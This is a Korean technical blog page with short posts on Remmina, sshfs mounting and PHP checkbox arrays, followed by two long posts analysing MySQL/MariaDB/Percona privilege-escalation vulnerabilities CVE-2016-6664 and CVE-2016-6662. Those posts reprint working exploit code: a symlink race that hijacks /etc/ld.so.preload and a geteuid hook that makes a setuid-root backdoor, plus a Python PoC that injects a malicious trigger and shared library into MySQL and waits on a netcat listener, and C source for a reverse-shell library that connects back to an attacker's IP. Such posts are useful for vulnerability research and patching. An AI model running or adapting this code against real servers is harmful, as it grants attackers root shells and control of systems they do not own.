받기:1 http://ftp.kr.debian.org/debian/ wheezy/main libfreerdp1 amd64 1.0.1-1.1+deb7u3 [261 kB]
[....]


아주 유명한 툴이기 때문에 rpm, yum으로 쉽게 설치가 될 것 같네요.

Use Remmina

사용법 또한 매우 간단합니다. 솔직히 이걸 왜 쓰고있나 이 생각도 들긴하지만.. 메모도 하고 좋은 정보도 공유하면 좋을 것 같아 작성합니다..

먼저 remmina를 실행하면 아래와 같이 나타납니다. 프로필을 생성합니다. 

name은 그냥 이름, 편하게 작성해주시면 되고 Protocol에 맞게 ssh, rdp, vnc 등 지정 후 아래에서 서버 정보와 로그인 정보를 입력해주시면 됩니다. 대충 샘플로 아무렇게나 입력하겠습니다.



다 작성하시고 Save 를 눌러주시면 리스트에 만든 항목이 들어갑니다. 
그냥 더블클릭하셔서 실행해주시면 됩니다. : )

Reference




Share: | Coffee Me:

11/07/2016

[DEBIAN] Remote Mount with SSH(리눅스에서 SSH로 원격 디렉토리 마운트하기)

클라이언트와 서버. 즉 원격지에서의 작업이나 개발을 위해선 ssh 같은 remote shell을 사용해야합니다.
오늘은 ssh 프로토콜을 이용해서 filesystem 처럼 사용하는 방법에 대해 알아볼까 합니다.
(익숙해지면 이만큼 편리한게 없을정도..)


Install sshfs

리눅스에서는 sshfs라는 툴킷을 이용하여 쉽게 ssh를 이용한 원격 마운트를 진행할 수 있습니다.
아주 간편한 방법으로 안전하게 파일 시스템을 사용할 수 있죠(ftp는 저리가..)

먼저 sshfs 설치가 필요합니다. 클라이언트에 패키지 매니저를 이용해서 쉽게 설치해줍니다.
#> apt-get install sshfs

(당연히 서버에는 sshd가 깔려있어야겠죠)

Remote Mount sshfs

자 이제 sshfs를 이용해서 마운트를 할 차례입니다.

sshfs [사용자ID@서버주소:/디렉토리] [마운트_지점]

공식 Description은..

SSHFS(1)                                                                                      User Commands                                                                                      SSHFS(1)

NAME
       SSHFS - filesystem client based on ssh

SYNOPSIS
   mounting
       sshfs [user@]host:[dir] mountpoint [options]

   unmounting
       fusermount -u mountpoint

DESCRIPTION
       SSHFS  (Secure  SHell  FileSystem) is a file system for Linux (and other operating systems with a FUSE implementation, such as Mac OS X or FreeBSD) capable of operating on files on a remote com‐
       puter using just a secure shell login on the remote computer. On the local computer where the SSHFS is mounted, the implementation makes use of the FUSE (Filesystem in Userspace) kernel  module.
       The  practical  effect  of  this is that the end user can seamlessly interact with remote files being securely served over SSH just as if they were local files on his/her computer. On the remote
       computer the SFTP subsystem of SSH is used.

       If host is a numeric IPv6 address, it needs to be enclosed in square brackets.

이렇습니다.

#> sshfs test@192.168.0.9:/var/www/html/ ~/test -o allow_other
test@192.168.0.9's password:

※ 여기서 allow_other 옵션으로 다른 사용자(일반 사용자)도 접근할 수 있게 권한을 줌

위와 같은 방법으로 마운트하여 쉽게 작업할 수 있습니다.

#> df | grep 192.168.0.9
test@192.168.0.9:/var/www/html/ 229066996  6925520 210482 ..

Reference

https://en.wikipedia.org/wiki/SSHFS
Share: | Coffee Me:

11/03/2016

[EXPLOIT] MySQL(MariaDB/PerconaDB) Root Privilege Escalation(Symlink attack)

정말 오랜만에 포스팅하는 기분이네요.
요즘은 말도안되게 계속 바쁘고 그래서.. 포스팅을 작성해 놓았지만 다듬지 못해 올리지 못한 글들이 많이 있네요.

몇달전.. 지난 추석 쯤 MySQL 관련 취약점이 나와 세상을 아주 발칵 뒤집었습니다.
(물론 보안담당자 기준으로요)

하필 연휴중에 나와서 많은 사람을 고생시켰다고 하죠.

바로 어제(11/1) EDB를 통해서 또하나의 MySQL 취약점이 세상으로 올라왔습니다.
그때와 동일하게 legalhackers의 작품이네요. (멋진 친구들)

Information

CVE-2016-6664로 명명된 이 취약점은 기존 6662 취약점과 유사하지만 약간의 차이가 있습니다.

취약 버전(Vulnerability Version)
MySQL
    <= 5.5.51
    <= 5.6.32
    <= 5.7.14
MariaDB
    All current
Percona Server
    < 5.5.51-38.2
    < 5.6.32-78-1
    < 5.7.14-8
Percona XtraDB Cluster
    < 5.6.32-25.17
    < 5.7.14-26.17
    < 5.5.41-37.0

영향력
Privilege Escalation(root)


Vulnerability Analysis

이 취약점은 Mysql base의 DB, 즉 MySQL과 MiriaDB, PerconaDB에서 영향력을 끼칩니다.
CVE-2016-6662는 my.cnf 파일을 로드하는 과정에서 문제가 있었다면, 6664는 error log를 처리하는 과정에서 발생하는 문제입니다.

먼저 6662 설명때로 말씀드렸지만 mysql_safe wrapper script는 mysqld를 실행할때 사용됩니다.
그 과정에서 wrapper는 error.log를 작성하고, 여는 과정을 수행합니다.

그럼 mysql의 error log가 있는 디렉토리를 살펴볼까요?

(B, 10 files)──────────[ HAHWUL ]──────────[ root@23:34:19 ] 
(/) #> ls -la /var/log/mysql
합계 36
drwxr-x---  2 mysql adm    4096 11월  2 10:00 .
drwxrwxr-x 22 root  syslog 4096 11월  2 10:00 ..
-rw-r-----  1 mysql adm       0 11월  2 10:00 error.log
...

(/) #> ls -lad /var/log/mysql
drwxr-x--- 2 mysql adm 4096 11월  2 10:00 /var/log/mysql

mysql의 권한으로 세팅되어 있습니다. mysqld_safe wrapper는 root 권한으로 실행되지만 기능 수행을 위해 참조하는 파일은 mysql 권한으로 되어있습니다.

이 과정에서 공격자는 symlink attack을 통해 권한 상승을 시도해 볼 수 있겠네요.
(얻어걸리면 나이스..)

mysqld_safe wrapper 내용 중 일부입니다.

while true
do
  rm -f "$pid_file"     # Some extra safety

  start_time=`date +%M%S`

  eval_log_error "$cmd"

  if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
    touch "$err_log"                   
    chown $user "$err_log"             
    chmod "$fmode" "$err_log"          
  fi                                   

이 과정을 보면 touch 명령을 통해 error log를 만들고, 소유주와 권한을 지정하는 코드를 가지고 있습니다.
mysql_safe wrapper는 error log 파일에 mysql 권한을 지정하게 되는데, 여기서 symlink를 통해 다른 경로를 이어줄 시 mysql_safe wrapper는 root의 권한으로 대상 파일을 mysql 권한/소유주로 변경해줍니다.

자? 이제 답이 보이나요? 우리는 mysql_safe 를 이용해서 시스템 파일을 mysql 권한으로 바꿀 수 있습니다.
mysql 권한이 있다면 해당 시스템 파일을 이용하여 root를 획득하는건 일도 아니겠죠.

해당 Exploit에서는 간단한게 /etc/ld.so.preload의 권한을 mysql 권한으로 바꾼 후 preload를 이용하여 root권한을 획득합니다.

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

while :; do
 sleep 0.1
 if [ -f /etc/ld.so.preload ]; then
  echo $PRIVESCLIB > /etc/ld.so.preload
  rm -f $ERRORLOG
  break;
 fi
done

Exploit Code - Symlink Attack

먼저 Symlink 과정입니다.
공격에 사용된 ld.so.preload를 error.log와 symbol link 합니다.

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
error.log 는 mysql 권한으로 되어있기 때문에 mysql 권한이 있다면 쉽게 제어할 수 있습니다.
symlink 를 걸었다면 이제 mysqld를 재 시작시켜 error.log의 권한을 설정하게 둡니다.
(error.log는 현재 /etc/ld.so.preload를 가리키고 있쬬)

이 부분부터 mysql이 error.log을 읽기를 기다립니다.

echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
    echo -e "Got it. Executing 'killall mysqld' now..."
    killall mysqld
fi
while :; do
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done

재 시작되면 error.log 즉 ld.so.preload는 mysql 권한으로 바뀌게 됩니다.
공격자는 이제 미리 만들어둔 so 파일(아래에 있는 코드)를 ld.so.preload로 바꿉니다.
이젠 권한이 동일하기 때문에 쉽게 변조가 가능하죠.

미리 만들어둔 so는 backdoor 파일에 권한을 주고, 4777로 권한을 변경하는 코드입니다.
아래에서 볼게요.

Exploit Code - Privilege Escalation


#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
 static uid_t  (*old_geteuid)();
 old_geteuid = dlsym(RTLD_NEXT, "geteuid");
 if ( old_geteuid() == 0 ) {
  chown("$BACKDOORPATH", 0, 0);
  chmod("$BACKDOORPATH", 04777);
  //unlink("/etc/ld.so.preload");
 }
 return old_geteuid();
}
아아아아아주 심플합니다. chown으로 root:root (0,0)으로 주고
mod로 04777을 줍니다.

마치며..

솔직히 6662 이슈보다 재미있게 본 것 같습니다. 다만 파급력은 .. 높겠네요.
SQL Injection 등을 통해 mysql 자체 권한으로 무언가를 실행할 수 있을 때 이러한 취약점은 root 권한까지 내어줄 수 있습니다. 그러나 원리 자체는 아주아주 간단하죠.

Reference

http://legalhackers.com/advisories/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-OCVE-2016-5616-Exploit.html
http://legalhackers.com/exploits/mysql-chowned.sh
https://www.exploit-db.com/exploits/40679/
http://www.hahwul.com/2016/09/exploit-mysqlmariadbperconadb-remote.html
Share: | Coffee Me:

[HTML] Send multipul checkbox(체크박스 여러개 값 넘기기)

웹 개발을 하다보면 체크박스를 이용하여 여러개의 값을 넘겨야 할 상황이 생깁니다.
대표적으로 옵션 같은 기능들이죠. form을 통한 전송 시 array 형태로 던지고 php에서 array로 받는다면 쉽게 구현할 수 있습니다.

아래 코드를 보도록 하겠습니다.

HTML 부분

<form action="./test.php" method="POST">
<input type="checkbox" name="case[]" value="A"> case1<br>
<input type="checkbox" name="case[]" value="B"> case2<br>
<input type="checkbox" name="case[]" value="C"> case3<br>
<input type="checkbox" name="case[]" value="D"> case4<br>
<input type="checkbox" name="case[]" value="E"> case5<br>
<input type="submit"><br>
</form>

PHP 부분

<?php

$list = $_POST['case'];
echo $list[0];
echo $list[1];

?>
주목해야할 부분은 HTML 코드 내 name 부분입니다. 보통 HTML 객체들을 인지하기 위해 name 이나 id를 지정하는데, 저런식으로 array 형태로도 지정할 수 있습니다. 해당 form 태그가 submit 될 때 요청은 아래와 같이 동일한 파라미터명으로 다수 발생합니다.

POST /test.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 25

case%5B%5D=A&case%5B%5D=C

일반적으로 $_POST나 $_GET 등은 각 서버 별 특징에 따라 하나의 파라미터 값만 받습니다.
다만 저런식으로 배열형태 [](%5B%5D)로 넘어오게 될 때 PHP는 배열로 인지하여 array에 집어넣게 됩니다.

그래서 $_POST['case'] 로 여러가지 값들의 리스트를 받을 수 있습니다.
아주 쉽고 간단하게 구현이 가능하네요.
Share: | Coffee Me:

9/21/2016

[EXPLOIT] MySQL(MariaDB/PerconaDB) Remote Code Execution and Privilege Escalation(CVE-2016-6662)


모두 즐거운 연휴 되셨나요? 뭔가 정신없이 보낸 것 같네요.
대략 한달만에 포스팅을 하는 것 같네요. 사실 포스팅 거리 몇개 작성해놓은게 있는데.. 일이 많다보니 하나하나 쌓여있기만 합니다.

hxxp://cfile28.uf.tistory.com/image/27013946521C4AD341F4C8

추석 연휴 시작에 맞춰 9/12에 DB 관련 취약점이 Edb에 올라왔습니다. 사실 당일날 보긴했었지만.. 포스팅 올릴 아니.. 손가락 움직일 힘조차 없어 미뤄뒀다가 이제서야 작성하게 되었네요.
이 취약점 덕분에 바쁜 연휴에도 보안담당자 및 SE 분들이 고생이 많으셨을 것 같네요..

오늘은 CVE-2016-6662로 올라온 MySQL/MariaDB/PerconDB에서 영향력이 존재하는 이 취약점에 대해 살펴볼까 합니다.

(사실 legalhackers 쪽 글을 보시는게 훨씬 이해가 쉬울거라 생각됩니다..)
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

Information

legalhackers의 dawid가 지난주 공개한 취약점입니다. 당연히 CVE를 달고 나왔고,
영향력 또한 크리티컬로 잡혀서 세상에 공개되었습니다.

취약 버전(Vulnerable Version)
 - MYSQL <= 5.7.14(RCE,PE)
 - MYSQL <= 5.6.32
 - MYSQL <= 5.5.51
 - MYSQL Clone 버전(MariaDB, PerconaDB)

영향력
 - Remote code execution
 - Privilege Escalation
 - SQL Injection


Vulnerability Analysis Part1 - weak "mysqld_safe" script

이 취약점은 mysql의 설정 파일인 my.cnf의 Owner와 Permission으로 인해 발생합니다.

/var/lib/mysql/my.cnf
이 취약점에 대해 알아가기 전에 03년도에 발표도니 MySQL 취약점 하나에 대해 먼저 알아보고 보시면 좋을 것 같습니다.

예전에 발생했던 취약점은 my.cnf 파일, 즉 설정파일을 만들 수 있는 취약점이 있었습니다.
아래와 같이 간단한 SQL 구문으로 말이죠. (Injection만 들어가도..오..)

SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'
아주 오래전 취약점이니 당연히 수정이 되었습니다. 그런데 이 오래된 취약점을 왜 여기서 언급하는가 하면.. 2016-6662 취약점은 이전에 my.cnf 관련 취약점을 우회할 수 있게 하여 악의적인 설정을 주입하고 원격 실행에서부터 권한상승까지 이루어지게 하는 취약점이며 오래된 취약점 또한 2016-6662를 이해하는데 있어 도움이 되기 때문에 약간의 설명을 넣어봤습니다.

다시 본론으로 와서 2016-6662에 대해 알아보도록 하죠.
이 취약점은 MySQL default package에 포함된 "mysqld_safe" 스크립트에서 발생합니다.

mysql 서버가 있다면 pstree 명령으로 mysqld_safe의 존재를 확인할 수 있습니다.

#> pstree
 ..snip..
        ├─lircd
        ├─mysqld_safe───mysqld───21*[{mysqld}]
        ├─polkitd─┬─{gdbus}
 ..snip..

쭉 보다보시면 위와 같이 mysqld_safe로 부터 mysqld(서비스 데몬)이 동작하는 것을 알 수 있습니다. 그럼 이 스크립트는 무슨 권한으로 동작하는지 봐볼까요?

#> ps -aux
root     1033  0.0  0.0   4472  1656 ?        Ss   21:29   0:00 /bin/sh /usr/bin/mysqld_safe
mysql     1412  0.0  1.6 794528 131836 ?       Sl   21:29   0:03 /usr/sbin/mysqld --basedir=/

오호! mysqld는 mysql 권한으로 실행되지만 mysqld_safe는 root 권한으로 실행되는 군요.

그럼 mysqld_safe가 어떤 역할을 하는지 대충 알 수 있겠죠. 아래 코드는 mysqld_safe의 코드 일부입니다.

..snip..

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

..snip..
해당 스크립트는 malloc를 통해서 지정한 lib 파일을 불러오는 기능을 수행합니다.
mysqld가 구동되기 전에 말이죠. 만약 my.cnf를 수정할 수 있다면 malloc_lib의 값의 흐름을 바꿔 악의적인 lib를 불러 root의 권한으로 실행시킬 수 있겠네요 :)

Vulnerability Analysis Part2 - inject "my.cnf"

2번째 핵심 구간입니다.
위에서 언급한 my.cnf를 어떻게 수정해야하는가에 대한 답변이 되겠네요.
my.cnf는 잘못된 설정을 가지고 있습니다. 서버에서 MySQL을 실행하기 위해선 각종 설정파일이 MySQL 사용자 즉 mysql이 소유하고 있어야 한다고 나온 문서가 많은데요. 설정 파일에 대한 권한이 소유주는 600(rw-) 즉 read/write가 가능하기 때문에 소유주의 권한으로만 실행된다면 충분히 수정이 가능한 권한이 됩니다.

공격자는 아래와 같은 형태로 sql 쿼리를 넣어서 설정 파일을 바꿀 수 있겠지요.

SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'
이 쿼리가 들어가게 되면 my.cnf는 아래와 같이 우리가 유도한 설정 내용이 삽입되어 mysql이 로드되도록 됩니다.

#> cat /var/lib/mysql/my.cnf

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14	   40 Query	select '

; injected config entry  // malicious config entry 에 있는 내용이 들어갑니다.

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15	   40 Query	set global general_log = off
이제 모든 실마리가 풀렸습니다. SQL Injection이나 탈취한 mysql 계정을 이용해서 root로 업그레이드 하거나 설정 파일을 조작하여 원격에서 명령을 실행할 수 있는 상태가 되었네요.

Vulnerability Analysis Part3 - Bypass MySQL Security(world-writable / section header check)


그러나..! 실제로 해보시면 안될겁니다.
왜냐하면 mysql은 설정 파일을 로드하는 과정 중 몇가지 보호 정책이 있기 때문입니다.

1. world-writable 권한이 걸려있는 설정 파일 로드 차단
2. 잘못된 섹션 헤더를 가지고 있을 시 로드 차단

world-writable 부분은 OUTFILE 대신 로깅 기능을 이용하면 world-writable 권한없이(o-w비트 없이) my.cnf 생성이 가능합니다.

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

#> cat /var/lib/mysql/my.cnf

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14	   40 Query	select '

; injected config entry

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15	   40 Query	set global general_log = off
자 권한은 패스했습니다. 그러나 내용에 보면 설정 파일로 원치 않는 내용이 들어가게 됩니다.
그래서 mysql 데몬 실행 시 에러를 뱉게 됩니다.

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted

2번째 방법에 대한 해결 방법은 취약점은 발표하신 분께서 아직 공개하지 않으셨습니다.
아무래도 위험성이 높아 그런 것 같네요. (연구해보시면 찾을 수 있을거에요. 화이팅)

이로써 어떤 이유, 흐름으로 취약점이 동작하는지 살펴보았습니다.
author가 공개한 공격코드로 마무리 짓도록 하겠습니다.


[ 0ldSQL_MySQL_RCE_exploit.py ] Exploit Code(POC)


#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)


[ mysql_hookandroot_lib.c ] payload code


/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target.

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys types.h>
#include <sys stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys socket.h>
#include <netinet in.h>
#include <arpa inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET;
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
	
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
	  cut_offset = (ftell(conf) - strlen(buffer));
       }

